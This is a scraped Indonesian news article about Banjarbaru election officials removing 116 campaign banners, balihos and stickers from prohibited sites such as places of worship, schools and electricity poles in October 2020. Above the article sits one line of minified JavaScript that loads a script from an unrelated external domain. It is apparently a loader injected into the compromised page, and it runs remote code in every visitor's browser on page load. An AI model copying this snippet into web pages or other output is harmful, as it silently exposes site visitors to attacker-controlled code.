(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilkada Banjarbaru

Terpasang di Lokasi Terlarang, 116 Alat Peraga Kampanye Paslon Pilkada Banjarbaru Dicopot!


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 116 buah alat peraga kampanye (APK) dan bahan kampanye yang terpasang di titik terlarang di wilayah Banjarbaru, dicopot paksa dalam giat penertiban pada Sabtu (3/10/2020) siang.

Giat ini dilakukan oleh Tim Penertiban APK, yang beranggotakan Bawaslu Banjarbaru, Panwascam, Polisi, Satpol PP, serta Badan Kesbangpol. Tim melakukan penertiban APK secara terpisah di 5 Kecamatan wilayah Banjarbaru.

Adapun ratusan APK yang ditertibkan tersebut ialah media promosi ketiga pasangan calon (paslon) Wali Kota dan Wakil Wali Kota Banjarbaru pada ajang kontestasi Pilkada 2020. Rincian APK yang dicopot, berdasarkan jenis, yaitu 27 baleho, 84 spanduk, dan 5 stiker -total 116 APK-.

Koordinator Divisi Pengawasan Hubungan Masyarakat dan Hubungan Antar Lembaga Bawaslu Banjarbaru Normadina, mengungkapkan bahwa giat penertiban ini berdasarkan keputusan KPU Banjarbaru ihwal adanya sejumlah titik lokasi yang dilarang terpasang APK para paslon.

“Jadi hari ini kita hanya menertibkan APK yang terpasang di lokasi yang dilarang serta tidak berizin. Di luar itu kami tidak menertibkan, karena untuk penertiban massal dijadwalkan pada 5 Desember,” katanya.

Dijelaskan Dina -sapaan akrabnya, ada berbagai titik lokasi yang dilarang terpasang APK. Misalnya tempat ibadah termasuk halaman atau di fasilitas kesehatan seperti Rumah Sakit dan Puskesmas. Lalu, di gedung milik pemerintah atau milik BUMM dan BUMD juga tidak diperbolehkan.

“Di fasilitas pendidikan, median jalan dan bundaran persimpangan jalan juga tidak boleh dipasang APK. Termasuk di tiang-tiang listrik juga tidak diperbolehkan, karena membahayakan jaringan,” terangnya.

Menurut data yang diterima Kanalkalimantan, APK terbanyak yang copot berada di Kecamatan Landasan Ulin. Jumlahnya mencapai 47 buah.
Sebelum dilakukan penertiban, Dina mengungkapkan bahwa pihaknya telah memberitaukan masing-masing paslon maupun tim pemenangan, untuk melakukan pencopotan sendiri. Kendati tak dihiraukan, maka pihaknya tak segan melakukan penertiban paksa.

“Sudah jauh-jauh hari kita beritaukan untuk segera dicopot. Tapi karena tidak ada tindak lanjut dari mereka, maka kita yang turun menertibkan,” pungkasnya. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.